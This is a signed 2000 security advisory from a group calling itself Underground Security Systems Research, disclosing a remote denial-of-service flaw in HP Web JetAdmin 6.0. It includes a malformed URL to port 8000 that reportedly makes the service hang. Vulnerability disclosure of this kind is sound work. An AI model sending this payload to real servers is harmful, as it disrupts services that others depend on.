-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 HP Web JetAdmin Version 6.0 Remote DoS attack Vulnerability USSR Advisory Code: USSR-2000042 Release Date: May 24, 2000 Affected Software Versions HP Web JetAdmin Version 6.0 (Microsoft Windows 2000) HP Web JetAdmin Version 6.0 (Microsoft Windows NT 4.0) HP Web JetAdmin Version 6.0 (HP-UX 10.20) (not tested) HP Web JetAdmin Version 6.0 (HP-UX 11.x) (not tested) HP Web JetAdmin Version 6.0 (Linux - SuSE) (not tested) HP Web JetAdmin Version 6.0 (Novell NetWare) (not tested) HP Web JetAdmin Version 6.0 (Red Hat Linux) (not tested) HP Web JetAdmin Version 6.0 (Solaris) (not tested) THE PROBLEM UssrLabs found a memory overflow heap Vulnerability in HP Web JetAdmin Version 6.0 (port 8000) default. What happens is by preforming an attack with a malformed url information to port 8000 it will cause the proccess containg the services to stop responding. Example: Original: http://SeverIp:8000/plugins/hpjwja/script/devices_list.hts?&obj=Httpd: GetProfile(new_list,__null,__null,$__hpjwja_ack_ini)(_deviceList)&clea rFilters=true&_refreshdevicelist=true&_special=new Malformed: http://ServerIp:8000/plugins/hpjwja/script/devices_list.hts?&obj=Httpd :GetProfile(new_list,__null,__null,$ SPECIAL NOTE: That we take no responsibility for this, is for educational purposes only. Vendor Status: Informed. Vendor Url: http://www.hp.com/ Program Url: http://www.hp.com/cposupport/prodhome/hpwebjetad1880.html Fix: Noting Yet Related Links: Underground Security Systems Research http://www.ussrback.com Greetings: Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN, Sub, prizm, b0f,Technotronic and Rfp. Copyright (c) 1999-2000 Underground Security Systems Research. Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of Ussr. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail labs@ussrback.com for permission. Disclaimer: The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback: Please send suggestions, updates, and comments to: Underground Security Systems Research mail:labs@ussrback.com http://www.ussrback.com u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c h http://www.ussrback.com -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.2 for non-commercial use iQA/AwUBOSuXs63JcbWNj6DDEQKbXgCg35djFEX3ul2pG85p11yuJKhAb3kAn2Rw 2xublsO02lUcYhL5lU/8xG+h =ndCf -----END PGP SIGNATURE-----